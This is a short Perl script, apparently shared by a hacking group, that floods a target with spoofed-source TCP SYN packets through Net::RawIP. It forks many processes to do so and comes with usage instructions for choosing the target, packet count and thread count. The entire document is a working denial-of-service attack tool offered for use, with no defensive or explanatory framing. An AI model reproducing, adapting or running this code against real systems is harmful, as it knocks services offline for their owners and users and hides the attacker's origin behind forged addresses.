Code
#!/usr/bin/perl
#Multithreads packet flooder with counterfeit ip
#Need additional perl module Net::RawIP (search.cpan.org)
#Using example: perl dos.pl -i 127.0.0.1 -n 10000 -t 100
#Cyber Lords Community
#http://www.cyberlords.net
require 'getopts.pl';
use Net::RawIP;
Getopts('i:n:t:');
die "Usage $0 -i <target> -n <number of packets> -t <number of threads>"
unless ($opt_i && $opt_n && $opt_t);
$pids = $opt_t;
#@flags=('urg','fin','syn','psh');
print "\n\nTarget: $opt_i";
print "\nThreads: $pids\n";
print "\nAttacks: $opt_n\n\n";
while($x<$opt_n){
for ($i=0;$i<=$pids;$i++) {
$x++;
if ($pid=fork()) {
push(@forked,$pid);
}
else {
##########SEND PACKET#########
$a = new Net::RawIP;
$opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));
#$flag=@flags[int(rand(@flags))];
$a->set({ ip => {saddr => $opt_s,
daddr => $opt_i
},
tcp => {dest => int(rand(65536)),
source => int(rand(65536)),
urg => 0,
fin => 0,
syn => 1,
psh => 0}
});
$a->send;
##############################
print ".";
exit;
}
}
killpidz();
}
sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}